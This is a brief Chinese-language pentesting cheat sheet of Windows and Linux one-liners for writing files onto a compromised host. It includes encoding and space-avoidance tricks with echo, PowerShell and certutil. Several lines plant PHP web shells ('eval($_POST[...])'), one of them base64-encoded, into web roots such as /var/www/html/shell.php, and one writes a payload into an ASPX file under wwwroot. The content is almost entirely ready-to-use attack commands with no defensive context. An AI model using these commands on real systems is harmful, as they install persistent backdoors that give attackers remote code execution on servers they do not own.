# 创建

#### Windows

```
读文本文件：
>file = Get-Content "1.txt"
>file
写文件
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"
或
>set /p=^<?php phpinfo()?^><nul>c:\1.php
或
>echo ^<?php phpinfo()?^>>c:\1.php
追加内容
>echo 111>>c:\1.php
不换行追加
>set /p="222">>c:\1.php
分段不换行追加
>echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\www\1.txt
读/写入命令无空格
>type;c:\1.php
>echo.111>>c:\1.php
>echo,111>>c:\1.php
写入特殊字符
>certutil -f -decode 1.txt C:\\1.php
>certutil -decodehex 1.txt C:\\1.php
```

#### Linux

```
>echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
>echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
```


---

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